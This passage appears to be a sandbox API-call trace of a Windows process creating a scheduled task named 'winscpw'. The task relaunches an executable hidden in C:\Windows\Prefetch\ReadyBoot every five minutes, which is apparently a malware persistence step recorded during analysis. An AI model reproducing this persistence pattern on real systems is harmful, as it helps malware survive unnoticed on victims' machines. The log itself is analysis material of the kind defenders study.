_BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.860] lstrlenW (lpString="|tn|") returned 4 [0078.860] lstrlenW (lpString="|f|") returned 3 [0078.860] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0078.860] SetLastError (dwErrCode=0x490) [0078.860] lstrlenW (lpString="tr") returned 2 [0078.860] lstrlenW (lpString="tr") returned 2 [0078.860] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.860] lstrlenW (lpString="f") returned 1 [0078.860] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.860] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.860] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.860] lstrlenW (lpString="|tr|") returned 4 [0078.860] lstrlenW (lpString="|f|") returned 3 [0078.860] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0078.860] SetLastError (dwErrCode=0x490) [0078.860] lstrlenW (lpString="st") returned 2 [0078.860] lstrlenW (lpString="st") returned 2 [0078.860] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.860] lstrlenW (lpString="f") returned 1 [0078.860] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.860] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|st|") returned 4 [0078.860] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.860] lstrlenW (lpString="|st|") returned 4 [0078.860] lstrlenW (lpString="|f|") returned 3 [0078.860] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0078.860] SetLastError (dwErrCode=0x490) [0078.860] lstrlenW (lpString="sd") returned 2 [0078.860] lstrlenW (lpString="sd") returned 2 [0078.860] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.860] lstrlenW (lpString="f") returned 1 [0078.861] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.861] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sd|") returned 4 [0078.861] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.861] lstrlenW (lpString="|sd|") returned 4 [0078.861] lstrlenW (lpString="|f|") returned 3 [0078.861] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0078.861] SetLastError (dwErrCode=0x490) [0078.861] lstrlenW (lpString="ed") returned 2 [0078.861] lstrlenW (lpString="ed") returned 2 [0078.861] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.861] lstrlenW (lpString="f") returned 1 [0078.861] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.861] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|ed|") returned 4 [0078.861] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.861] lstrlenW (lpString="|ed|") returned 4 [0078.861] lstrlenW (lpString="|f|") returned 3 [0078.861] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0078.861] SetLastError (dwErrCode=0x490) [0078.861] lstrlenW (lpString="it") returned 2 [0078.861] lstrlenW (lpString="it") returned 2 [0078.861] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.861] lstrlenW (lpString="f") returned 1 [0078.861] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.861] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|it|") returned 4 [0078.861] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.861] lstrlenW (lpString="|it|") returned 4 [0078.861] lstrlenW (lpString="|f|") returned 3 [0078.861] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0078.861] SetLastError (dwErrCode=0x490) [0078.861] lstrlenW (lpString="et") returned 2 [0078.862] lstrlenW (lpString="et") returned 2 [0078.862] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.862] lstrlenW (lpString="f") returned 1 [0078.862] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.862] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|et|") returned 4 [0078.862] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.862] lstrlenW (lpString="|et|") returned 4 [0078.862] lstrlenW (lpString="|f|") returned 3 [0078.862] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0078.862] SetLastError (dwErrCode=0x490) [0078.862] lstrlenW (lpString="k") returned 1 [0078.862] lstrlenW (lpString="k") returned 1 [0078.862] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.862] lstrlenW (lpString="f") returned 1 [0078.862] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.862] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|k|") returned 3 [0078.862] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.862] lstrlenW (lpString="|k|") returned 3 [0078.862] lstrlenW (lpString="|f|") returned 3 [0078.862] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0078.862] SetLastError (dwErrCode=0x490) [0078.862] lstrlenW (lpString="du") returned 2 [0078.862] lstrlenW (lpString="du") returned 2 [0078.862] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.862] lstrlenW (lpString="f") returned 1 [0078.862] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.862] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|du|") returned 4 [0078.862] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.863] lstrlenW (lpString="|du|") returned 4 [0078.863] lstrlenW (lpString="|f|") returned 3 [0078.863] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0078.863] SetLastError (dwErrCode=0x490) [0078.863] lstrlenW (lpString="ri") returned 2 [0078.863] lstrlenW (lpString="ri") returned 2 [0078.863] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.863] lstrlenW (lpString="f") returned 1 [0078.863] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.863] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|ri|") returned 4 [0078.863] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.863] lstrlenW (lpString="|ri|") returned 4 [0078.863] lstrlenW (lpString="|f|") returned 3 [0078.863] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0078.863] SetLastError (dwErrCode=0x490) [0078.863] lstrlenW (lpString="z") returned 1 [0078.863] lstrlenW (lpString="z") returned 1 [0078.863] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.863] lstrlenW (lpString="f") returned 1 [0078.863] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.863] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|z|") returned 3 [0078.863] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.863] lstrlenW (lpString="|z|") returned 3 [0078.863] lstrlenW (lpString="|f|") returned 3 [0078.863] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0078.863] SetLastError (dwErrCode=0x490) [0078.863] lstrlenW (lpString="f") returned 1 [0078.863] lstrlenW (lpString="f") returned 1 [0078.863] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.863] lstrlenW (lpString="f") returned 1 [0078.863] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.864] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.864] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.864] lstrlenW (lpString="|f|") returned 3 [0078.864] lstrlenW (lpString="|f|") returned 3 [0078.864] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0078.864] SetLastError (dwErrCode=0x0) [0078.864] SetLastError (dwErrCode=0x0) [0078.864] GetProcessHeap () returned 0x3f0000 [0078.864] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ce30 [0078.864] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.864] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0078.864] lstrlenW (lpString="MINUTE") returned 6 [0078.864] GetProcessHeap () returned 0x3f0000 [0078.864] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d680 [0078.864] GetThreadLocale () returned 0x409 [0078.864] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0078.864] SetLastError (dwErrCode=0x0) [0078.864] GetProcessHeap () returned 0x3f0000 [0078.864] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x1fc) returned 0x40c470 [0078.865] GetProcessHeap () returned 0x3f0000 [0078.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ce00 [0078.865] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.865] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0078.865] lstrlenW (lpString="First") returned 5 [0078.865] GetProcessHeap () returned 0x3f0000 [0078.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xc) returned 0x40d6a0 [0078.865] GetProcessHeap () returned 0x3f0000 [0078.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cdd0 [0078.865] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.865] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0078.865] lstrlenW (lpString="Second") returned 6 [0078.865] GetProcessHeap () returned 0x3f0000 [0078.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d6c0 [0078.865] GetProcessHeap () returned 0x3f0000 [0078.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cda0 [0078.865] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.865] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0078.865] lstrlenW (lpString="Third") returned 5 [0078.865] GetProcessHeap () returned 0x3f0000 [0078.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xc) returned 0x40d6e0 [0078.865] GetProcessHeap () returned 0x3f0000 [0078.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd70 [0078.865] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.865] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0078.865] lstrlenW (lpString="Fourth") returned 6 [0078.865] GetProcessHeap () returned 0x3f0000 [0078.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d700 [0078.865] GetProcessHeap () returned 0x3f0000 [0078.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd40 [0078.865] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.865] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0078.865] lstrlenW (lpString="Last") returned 4 [0078.866] GetProcessHeap () returned 0x3f0000 [0078.866] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xa) returned 0x40d720 [0078.866] lstrlenW (lpString="5") returned 1 [0078.866] _wtol (_String="5") returned 5 [0078.876] GetProcessHeap () returned 0x3f0000 [0078.876] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd10 [0078.876] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.876] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0078.876] lstrlenW (lpString="First") returned 5 [0078.876] GetProcessHeap () returned 0x3f0000 [0078.876] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xc) returned 0x40d740 [0078.876] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.877] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0078.877] lstrlenW (lpString="Second") returned 6 [0078.877] GetProcessHeap () returned 0x3f0000 [0078.877] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d760 [0078.877] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.877] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0078.877] lstrlenW (lpString="Third") returned 5 [0078.877] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.877] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0078.877] lstrlenW (lpString="Fourth") returned 6 [0078.877] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.877] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0078.877] lstrlenW (lpString="Last") returned 4 [0078.877] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c1c0, cchData=128 | out: lpLCData="0") returned 2 [0078.877] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.877] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0078.877] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0078.877] GetProcessHeap () returned 0x3f0000 [0078.877] GetProcessHeap () returned 0x3f0000 [0078.877] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6a0) returned 1 [0078.877] GetProcessHeap () returned 0x3f0000 [0078.877] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d6a0) returned 0xc [0078.877] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6a0 | out: hHeap=0x3f0000) returned 1 [0078.877] GetProcessHeap () returned 0x3f0000 [0078.877] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x16) returned 0x40d6a0 [0078.878] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c1e0, cchData=128 | out: lpLCData="0") returned 2 [0078.878] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.878] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0078.878] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0078.878] GetProcessHeap () returned 0x3f0000 [0078.878] GetProcessHeap () returned 0x3f0000 [0078.878] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6c0) returned 1 [0078.878] GetProcessHeap () returned 0x3f0000 [0078.878] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d6c0) returned 0xe [0078.878] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6c0 | out: hHeap=0x3f0000) returned 1 [0078.878] GetProcessHeap () returned 0x3f0000 [0078.878] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x16) returned 0x40d6c0 [0078.878] GetLocalTime (in: lpSystemTime=0x27c410 | out: lpSystemTime=0x27c410*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x3, wMilliseconds=0xea)) [0078.878] lstrlenW (lpString="") returned 0 [0078.878] GetLocalTime (in: lpSystemTime=0x27ccc8 | out: lpSystemTime=0x27ccc8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x3, wMilliseconds=0xea)) [0078.878] lstrlenW (lpString="") returned 0 [0078.878] lstrlenW (lpString="") returned 0 [0078.878] lstrlenW (lpString="") returned 0 [0078.878] lstrlenW (lpString="") returned 0 [0078.878] lstrlenW (lpString="5") returned 1 [0078.878] _wtol (_String="5") returned 5 [0078.878] lstrlenW (lpString="") returned 0 [0078.878] lstrlenW (lpString="") returned 0 [0078.879] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0078.925] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0078.998] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x27ca90 | out: ppv=0x27ca90*=0x28dee0) returned 0x0 [0079.009] TaskScheduler:ITaskService:Connect (This=0x28dee0, serverName=0x27cb70*(varType=0x8, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x27cb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x27cb50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27cb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0079.017] TaskScheduler:IUnknown:AddRef (This=0x28dee0) returned 0x2 [0079.017] TaskScheduler:ITaskService:GetFolder (in: This=0x28dee0, Path=0x0, ppFolder=0x27cc28 | out: ppFolder=0x27cc28*=0x117d00) returned 0x0 [0079.021] TaskScheduler:ITaskService:NewTask (in: This=0x28dee0, flags=0x0, ppDefinition=0x27cc20 | out: ppDefinition=0x27cc20*=0x117d50) returned 0x0 [0079.022] ITaskDefinition:get_Actions (in: This=0x117d50, ppActions=0x27cba0 | out: ppActions=0x27cba0*=0x117e10) returned 0x0 [0079.022] IActionCollection:Create (in: This=0x117e10, Type=0, ppAction=0x27cbc0 | out: ppAction=0x27cbc0*=0x116530) returned 0x0 [0079.022] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.022] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.022] lstrlenW (lpString=" ") returned 1 [0079.022] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0079.022] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0079.022] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0079.022] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0079.022] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0079.022] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0079.022] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0079.022] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0079.022] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0079.022] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0079.023] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0079.024] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0079.025] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0079.025] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0079.025] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.025] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0079.025] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.025] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0079.025] IUnknown:Release (This=0x116530) returned 0x1 [0079.025] IUnknown:Release (This=0x117e10) returned 0x1 [0079.025] ITaskDefinition:get_Triggers (in: This=0x117d50, ppTriggers=0x27c720 | out: ppTriggers=0x27c720*=0x117f50) returned 0x0 [0079.025] ITriggerCollection:Create (in: This=0x117f50, Type=1, ppTrigger=0x27c718 | out: ppTrigger=0x27c718*=0x1165a0) returned 0x0 [0079.025] lstrlenW (lpString="5") returned 1 [0079.025] _vsnwprintf (in: _Buffer=0x27c6a0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x27c698 | out: _Buffer="PT5M") returned 4 [0079.025] ITrigger:get_Repetition (in: This=0x1165a0, ppRepeat=0x27c710 | out: ppRepeat=0x27c710*=0x116630) returned 0x0 [0079.025] IRepetitionPattern:put_Interval (This=0x116630, Interval="PT5M") returned 0x0 [0079.025] IUnknown:Release (This=0x116630) returned 0x1 [0079.026] _vsnwprintf (in: _Buffer=0x27c660, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x27c638 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0079.026] ITrigger:put_StartBoundary (This=0x1165a0, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0079.026] lstrlenW (lpString="") returned 0 [0079.026] lstrlenW (lpString="") returned 0 [0079.026] lstrlenW (lpString="") returned 0 [0079.026] lstrlenW (lpString="") returned 0 [0079.026] IUnknown:Release (This=0x1165a0) returned 0x1 [0079.026] IUnknown:Release (This=0x117f50) returned 0x1 [0079.026] ITaskDefinition:get_Settings (in: This=0x117d50, ppSettings=0x27cbc0 | out: ppSettings=0x27cbc0*=0x116310) returned 0x0 [0079.026] lstrlenW (lpString="") returned 0 [0079.026] IUnknown:Release (This=0x116310) returned 0x1 [0079.026] GetLocalTime (in: lpSystemTime=0x27ca78 | out: lpSystemTime=0x27ca78*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x3, wMilliseconds=0x186)) [0079.026] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0079.027] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0079.027] GetUserNameW (in: lpBuffer=0x27caa0, pcbBuffer=0x27ca88 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x27ca88) returned 1 [0079.027] ITaskDefinition:get_RegistrationInfo (in: This=0x117d50, ppRegistrationInfo=0x27ca70 | out: ppRegistrationInfo=0x27ca70*=0x117e90) returned 0x0 [0079.027] IRegistrationInfo:put_Author (This=0x117e90, Author="") returned 0x0 [0079.027] _vsnwprintf (in: _Buffer=0x27caa0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x27ca38 | out: _Buffer="2023-09-19T17:17:03") returned 19 [0079.027] IRegistrationInfo:put_Date (This=0x117e90, Date="") returned 0x0 [0079.027] IUnknown:Release (This=0x117e90) returned 0x1 [0079.028] malloc (_Size=0x18) returned 0x1166b0 [0079.028] free (_Block=0x1166b0) [0079.028] lstrlenW (lpString="") returned 0 [0079.028] malloc (_Size=0x18) returned 0x1166b0 [0079.028] ITaskFolder:RegisterTaskDefinition (in: This=0x117d00, Path="winscpw", pDefinition=0x117d50, flags=6, UserId=0x27cd10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27cd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27ec20, varVal2=0xfe), LogonType=3, sddl=0x27cd30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x27cc30 | out: ppTask=0x27cc30*=0x116850) returned 0x0 [0079.193] free (_Block=0x1166b0) [0079.193] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.193] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0079.193] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0079.193] GetProcessHeap () returned 0x3f0000 [0079.193] 